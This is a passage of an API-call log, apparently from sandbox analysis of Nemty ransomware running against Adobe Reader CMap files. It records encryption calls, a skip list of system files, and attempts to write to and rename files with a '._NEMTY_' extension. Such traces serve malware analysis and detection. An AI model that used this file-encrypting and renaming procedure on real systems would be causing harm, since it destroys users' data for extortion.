lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Host", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0202.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0202.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Host", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-Host", lpUsedDefaultChar=0x0) returned 19 [0202.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0202.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0202.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0202.005] Sleep (dwMilliseconds=0x5) [0202.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c0f12f0, dwHighDateTime=0x1d561e8)) [0202.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c0f12f0, dwHighDateTime=0x1d561e8)) [0202.018] GetLastError () returned 0x5 [0202.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0202.018] GetLastError () returned 0x5 [0202.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0202.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0202.018] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0202.018] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0202.018] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0202.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0202.019] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="060AyfHJ+/I1vyzhyeHCiqyfL9zkyE1MQQDAfukiEUkz1vC8nP48UHjyMOsKTQ6l\r\npcgkPeJx3AF+I315DJ9z8IarV7w+lKNr32xsJOS4s2XtiimX+XqHUfi5CoDxkXtx\r\n/JifCnY0mP1THRBf5Qv9b64RzeWaH5JRi5R4QfYO0T8leMLqZ0fOi77emqOOFarX\r\nT99OI6ZMBosgQPrAfdegtheV11ZlzJ99zdDsgGsm3XZXE8WrJir0AVqRFhEF3+XN\r\ndC4qpmi/eYu7f4QO9jQsTQwKAqI654lo/HcB2tugRVtIR4B2noxRu1TORaSePYdy\r\n5td6SdJI0N2TxO2pNWyybw==\r\n", pcchString=0x653e91c) returned 1 [0202.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0202.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0202.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0202.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0202.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0202.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-host"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0202.019] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0202.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0202.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.019] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.038] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.088] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0202.129] CloseHandle (hObject=0xffffffff) returned 0 [0202.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0202.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0202.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0202.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0202.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0202.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0202.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0202.129] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-host"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-host._nemty_kgobjgd_")) returned 0 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0202.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0202.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.130] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ca3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Mac", cAlternateFileName="ADF8FD~1")) returned 1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2=".") returned 1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="..") returned 1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="...") returned 1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="windows") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="$RECYCLE.BIN") returned 1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="rsa") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="NTDETECT.COM") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="ntldr") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="MSDOS.SYS") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="IO.SYS") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="boot.ini") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="boot.ini") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="AUTOEXEC.BAT") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="ntuser.dat") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="desktop.ini") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="CONFIG.SYS") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="RECYCLER") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="BOOTSECT.BAK") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="bootmgr") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="programdata") returned -1 [0202.130] lstrcmpiW (lpString1="Adobe-Korea1-H-Mac", lpString2="appdata") returned -1 [0202.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Mac", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0202.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Mac", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-Mac", lpUsedDefaultChar=0x0) returned 18 [0202.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0202.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Mac", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0202.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Mac", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-Mac", lpUsedDefaultChar=0x0) returned 18 [0202.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0202.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Mac", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0202.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Mac", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-Mac", lpUsedDefaultChar=0x0) returned 18 [0202.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Mac", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0202.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0202.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Mac", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-Mac", lpUsedDefaultChar=0x0) returned 18 [0202.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0202.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0202.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0202.131] Sleep (dwMilliseconds=0x5) [0202.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c221df0, dwHighDateTime=0x1d561e8)) [0202.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c221df0, 